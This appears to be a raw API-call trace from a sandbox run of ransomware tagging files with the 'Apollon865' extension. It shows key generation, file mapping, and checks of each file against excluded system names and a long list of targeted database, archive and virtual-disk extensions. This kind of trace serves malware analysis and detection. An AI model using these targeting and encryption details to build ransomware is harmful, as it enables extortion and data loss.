	[0068.851] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0068.851] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=5204382) returned 1
	[0068.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0068.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0068.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0068.851] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0068.852] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0068.852] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.852] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f6ca0, lpName=0x0) returned 0xd8
	[0068.854] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0xf6ca0) returned 0x35a0000
	[0070.718] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0070.718] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0070.718] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0070.719] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0070.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.719] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.719] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.719] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.719] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.719] UnmapViewOfFile (lpBaseAddress=0x35a0000) returned 1
	[0070.728] CloseHandle (hObject=0xd8) returned 1
	[0070.728] CloseHandle (hObject=0x100) returned 1
	[0070.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0070.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0070.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0070.746] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5a0590, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.746] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.746] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="Apollon865.txt.exe") returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".") returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="..") returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="windows") returned -1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="bootmgr") returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="temp") returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="pagefile.sys") returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="boot") returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="ids.txt") returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="ntuser.dat") returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="perflogs") returned 1
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="MSBuild") returned 1
	[0070.746] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0070.746] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 125
	[0070.746] lstrcpyW (in: lpString1=0x119e6f2, lpString2="vc_runtimeAdditional_x86.msi" | out: lpString1="vc_runtimeAdditional_x86.msi") returned="vc_runtimeAdditional_x86.msi"
	[0070.746] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0070.746] lstrlenW (lpString="Apollon865") returned 10
	[0070.746] lstrcmpiW (lpString1="al_x86.msi", lpString2="Apollon865") returned -1
	[0070.746] lstrlenW (lpString=".dll") returned 4
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".dll") returned 1
	[0070.746] lstrlenW (lpString=".lnk") returned 4
	[0070.746] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".lnk") returned 1
	[0070.746] lstrlenW (lpString=".ini") returned 4
	[0070.747] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".ini") returned 1
	[0070.747] lstrlenW (lpString=".sys") returned 4
	[0070.747] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".sys") returned 1
	[0070.747] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0070.747] lstrlenW (lpString="bak") returned 3
	[0070.747] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0070.747] lstrlenW (lpString="ba_") returned 3
	[0070.747] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0070.747] lstrlenW (lpString="dbb") returned 3
	[0070.747] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0070.747] lstrlenW (lpString="vmdk") returned 4
	[0070.747] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0070.747] lstrlenW (lpString="rar") returned 3
	[0070.747] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0070.747] lstrlenW (lpString="zip") returned 3
	[0070.747] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0070.747] lstrlenW (lpString="tgz") returned 3
	[0070.747] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0070.747] lstrlenW (lpString="vbox") returned 4
	[0070.747] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0070.747] lstrlenW (lpString="vdi") returned 3
	[0070.747] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0070.747] lstrlenW (lpString="vhd") returned 3
	[0070.747] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0070.747] lstrlenW (lpString="vhdx") returned 4
	[0070.747] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0070.747] lstrlenW (lpString="avhd") returned 4
	[0070.747] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0070.747] lstrlenW (lpString="db") returned 2
	[0070.747] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0070.747] lstrlenW (lpString="db2") returned 3
	[0070.747] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0070.747] lstrlenW (lpString="db3") returned 3
	[0070.747] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0070.747] lstrlenW (lpString="dbf") returned 3
	[0070.748] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0070.748] lstrlenW (lpString="mdf") returned 3
	[0070.748] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0070.748] lstrlenW (lpString="mdb") returned 3
	[0070.748] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0070.748] lstrlenW (lpString="sql") returned 3
	[0070.748] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0070.748] lstrlenW (lpString="sqlite") returned 6
	[0070.748] lstrcmpiW (lpString1="86.msi", lpString2="sqlite") returned -1
	[0070.748] lstrlenW (lpString="sqlite3") returned 7
	[0070.748] lstrcmpiW (lpString1="x86.msi", lpString2="sqlite3") returned 1
	[0070.748] lstrlenW (lpString="sqlitedb") returned 8
	[0070.748] lstrcmpiW (lpString1="_x86.msi", lpString2="sqlitedb") returned -1
	[0070.748] lstrlenW (lpString="xml") returned 3
	[0070.748] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0070.748] lstrlenW (lpString="$er") returned 3
	[0070.748] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0070.748] lstrlenW (lpString="4dd") returned 3
	[0070.748] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0070.748] lstrlenW (lpString="4dl") returned 3
	[0070.748] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0070.748] lstrlenW (lpString="^^^") returned 3
	[0070.748] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0070.748] lstrlenW (lpString="abs") returned 3
	[0070.748] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0070.748] lstrlenW (lpString="abx") returned 3
	[0070.748] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0070.748] lstrlenW (lpString="accdb") returned 5
	[0070.748] lstrcmpiW (lpString1="6.msi", lpString2="accdb") returned -1
	[0070.748] lstrlenW (lpString="accdc") returned 5
	[0070.748] lstrcmpiW (lpString1="6.msi", lpString2="accdc") returned -1
	[0070.748] lstrlenW (lpString="accde") returned 5
	[0070.748] lstrcmpiW (lpString1="6.msi", lpString2="accde") returned -1
	[0070.748] lstrlenW (lpString="accdr") returned 5
	[0070.748] lstrcmpiW (lpString1="6.msi", lpString2="accdr") returned -1
	[0070.748] lstrlenW (lpString="accdt") returned 5
	[0070.748] lstrcmpiW (lpString1="6.msi", lpString2="accdt") returned -1
	[0070.748] lstrlenW (lpString="accdw") returned 5
	[0070.749] lstrcmpiW (lpString1="6.msi", lpString2="accdw") returned -1
	[0070.749] lstrlenW (lpString="accft") returned 5
	[0070.749] lstrcmpiW (lpString1="6.msi", lpString2="accft") returned -1
	[0070.749] lstrlenW (lpString="adb") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0070.749] lstrlenW (lpString="adb") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0070.749] lstrlenW (lpString="ade") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0070.749] lstrlenW (lpString="adf") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0070.749] lstrlenW (lpString="adn") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0070.749] lstrlenW (lpString="adp") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0070.749] lstrlenW (lpString="alf") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0070.749] lstrlenW (lpString="ask") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0070.749] lstrlenW (lpString="btr") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0070.749] lstrlenW (lpString="cat") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0070.749] lstrlenW (lpString="cdb") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0070.749] lstrlenW (lpString="ckp") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0070.749] lstrlenW (lpString="cma") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0070.749] lstrlenW (lpString="cpd") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0070.749] lstrlenW (lpString="dacpac") returned 6
	[0070.749] lstrcmpiW (lpString1="86.msi", lpString2="dacpac") returned -1
	[0070.749] lstrlenW (lpString="dad") returned 3
	[0070.749] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0070.749] lstrlenW (lpString="dadiagrams") returned 10
	[0070.749] lstrcmpiW (lpString1="al_x86.msi", lpString2="dadiagrams") returned -1
	[0070.749] lstrlenW (lpString="daschema") returned 8
	[0070.750] lstrcmpiW (lpString1="_x86.msi", lpString2="daschema") returned -1
	[0070.750] lstrlenW (lpString="db-journal") returned 10
	[0070.750] lstrcmpiW (lpString1="al_x86.msi", lpString2="db-journal") returned -1
	[0070.750] lstrlenW (lpString="db-shm") returned 6
	[0070.750] lstrcmpiW (lpString1="86.msi", lpString2="db-shm") returned -1
	[0070.750] lstrlenW (lpString="db-wal") returned 6
	[0070.750] lstrcmpiW (lpString1="86.msi", lpString2="db-wal") returned -1
	[0070.750] lstrlenW (lpString="dbc") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0070.750] lstrlenW (lpString="dbs") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0070.750] lstrlenW (lpString="dbt") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0070.750] lstrlenW (lpString="dbv") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0070.750] lstrlenW (lpString="dbx") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0070.750] lstrlenW (lpString="dcb") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0070.750] lstrlenW (lpString="dct") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0070.750] lstrlenW (lpString="dcx") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0070.750] lstrlenW (lpString="ddl") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0070.750] lstrlenW (lpString="dlis") returned 4
	[0070.750] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0070.750] lstrlenW (lpString="dp1") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0070.750] lstrlenW (lpString="dqy") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0070.750] lstrlenW (lpString="dsk") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0070.750] lstrlenW (lpString="dsn") returned 3
	[0070.750] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0070.750] lstrlenW (lpString="dtsx") returned 4
	[0070.750] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0070.751] lstrlenW (lpString="dxl") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0070.751] lstrlenW (lpString="eco") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0070.751] lstrlenW (lpString="ecx") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0070.751] lstrlenW (lpString="edb") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0070.751] lstrlenW (lpString="epim") returned 4
	[0070.751] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0070.751] lstrlenW (lpString="fcd") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0070.751] lstrlenW (lpString="fdb") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0070.751] lstrlenW (lpString="fic") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0070.751] lstrlenW (lpString="flexolibrary") returned 12
	[0070.751] lstrcmpiW (lpString1="onal_x86.msi", lpString2="flexolibrary") returned 1
	[0070.751] lstrlenW (lpString="fm5") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0070.751] lstrlenW (lpString="fmp") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0070.751] lstrlenW (lpString="fmp12") returned 5
	[0070.751] lstrcmpiW (lpString1="6.msi", lpString2="fmp12") returned -1
	[0070.751] lstrlenW (lpString="fmpsl") returned 5
	[0070.751] lstrcmpiW (lpString1="6.msi", lpString2="fmpsl") returned -1
	[0070.751] lstrlenW (lpString="fol") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0070.751] lstrlenW (lpString="fp3") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0070.751] lstrlenW (lpString="fp4") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0070.751] lstrlenW (lpString="fp5") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0070.751] lstrlenW (lpString="fp7") returned 3
	[0070.751] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0070.751] lstrlenW (lpString="fpt") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0070.752] lstrlenW (lpString="frm") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0070.752] lstrlenW (lpString="gdb") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0070.752] lstrlenW (lpString="gdb") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0070.752] lstrlenW (lpString="grdb") returned 4
	[0070.752] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0070.752] lstrlenW (lpString="gwi") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0070.752] lstrlenW (lpString="hdb") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0070.752] lstrlenW (lpString="his") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0070.752] lstrlenW (lpString="ib") returned 2
	[0070.752] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0070.752] lstrlenW (lpString="idb") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0070.752] lstrlenW (lpString="ihx") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0070.752] lstrlenW (lpString="itdb") returned 4
	[0070.752] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0070.752] lstrlenW (lpString="itw") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0070.752] lstrlenW (lpString="jet") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0070.752] lstrlenW (lpString="jtx") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0070.752] lstrlenW (lpString="kdb") returned 3
	[0070.752] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0070.752] lstrlenW (lpString="kexi") returned 4
	[0070.752] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0070.752] lstrlenW (lpString="kexic") returned 5
	[0070.752] lstrcmpiW (lpString1="6.msi", lpString2="kexic") returned -1
	[0070.752] lstrlenW (lpString="kexis") returned 5
	[0070.752] lstrcmpiW (lpString1="6.msi", lpString2="kexis") returned -1
	[0070.752] lstrlenW (lpString="lgc") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0070.753] lstrlenW (lpString="lwx") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0070.753] lstrlenW (lpString="maf") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0070.753] lstrlenW (lpString="maq") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0070.753] lstrlenW (lpString="mar") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0070.753] lstrlenW (lpString="marshal") returned 7
	[0070.753] lstrcmpiW (lpString1="x86.msi", lpString2="marshal") returned 1
	[0070.753] lstrlenW (lpString="mas") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0070.753] lstrlenW (lpString="mav") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0070.753] lstrlenW (lpString="maw") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0070.753] lstrlenW (lpString="mdbhtml") returned 7
	[0070.753] lstrcmpiW (lpString1="x86.msi", lpString2="mdbhtml") returned 1
	[0070.753] lstrlenW (lpString="mdn") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0070.753] lstrlenW (lpString="mdt") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0070.753] lstrlenW (lpString="mfd") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0070.753] lstrlenW (lpString="mpd") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0070.753] lstrlenW (lpString="mrg") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0070.753] lstrlenW (lpString="mud") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0070.753] lstrlenW (lpString="mwb") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0070.753] lstrlenW (lpString="myd") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0070.753] lstrlenW (lpString="ndf") returned 3
	[0070.753] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0070.753] lstrlenW (lpString="nnt") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0070.754] lstrlenW (lpString="nrmlib") returned 6
	[0070.754] lstrcmpiW (lpString1="86.msi", lpString2="nrmlib") returned -1
	[0070.754] lstrlenW (lpString="ns2") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0070.754] lstrlenW (lpString="ns3") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0070.754] lstrlenW (lpString="ns4") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0070.754] lstrlenW (lpString="nsf") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0070.754] lstrlenW (lpString="nv") returned 2
	[0070.754] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0070.754] lstrlenW (lpString="nv2") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0070.754] lstrlenW (lpString="nwdb") returned 4
	[0070.754] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0070.754] lstrlenW (lpString="nyf") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0070.754] lstrlenW (lpString="odb") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0070.754] lstrlenW (lpString="odb") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0070.754] lstrlenW (lpString="oqy") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0070.754] lstrlenW (lpString="ora") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0070.754] lstrlenW (lpString="orx") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0070.754] lstrlenW (lpString="owc") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0070.754] lstrlenW (lpString="p96") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0070.754] lstrlenW (lpString="p97") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0070.754] lstrlenW (lpString="pan") returned 3
	[0070.754] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0070.754] lstrlenW (lpString="pdb") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0070.755] lstrlenW (lpString="pdm") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0070.755] lstrlenW (lpString="pnz") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0070.755] lstrlenW (lpString="qry") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0070.755] lstrlenW (lpString="qvd") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0070.755] lstrlenW (lpString="rbf") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0070.755] lstrlenW (lpString="rctd") returned 4
	[0070.755] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0070.755] lstrlenW (lpString="rod") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0070.755] lstrlenW (lpString="rodx") returned 4
	[0070.755] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0070.755] lstrlenW (lpString="rpd") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0070.755] lstrlenW (lpString="rsd") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0070.755] lstrlenW (lpString="sas7bdat") returned 8
	[0070.755] lstrcmpiW (lpString1="_x86.msi", lpString2="sas7bdat") returned -1
	[0070.755] lstrlenW (lpString="sbf") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0070.755] lstrlenW (lpString="scx") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0070.755] lstrlenW (lpString="sdb") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0070.755] lstrlenW (lpString="sdc") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0070.755] lstrlenW (lpString="sdf") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0070.755] lstrlenW (lpString="sis") returned 3
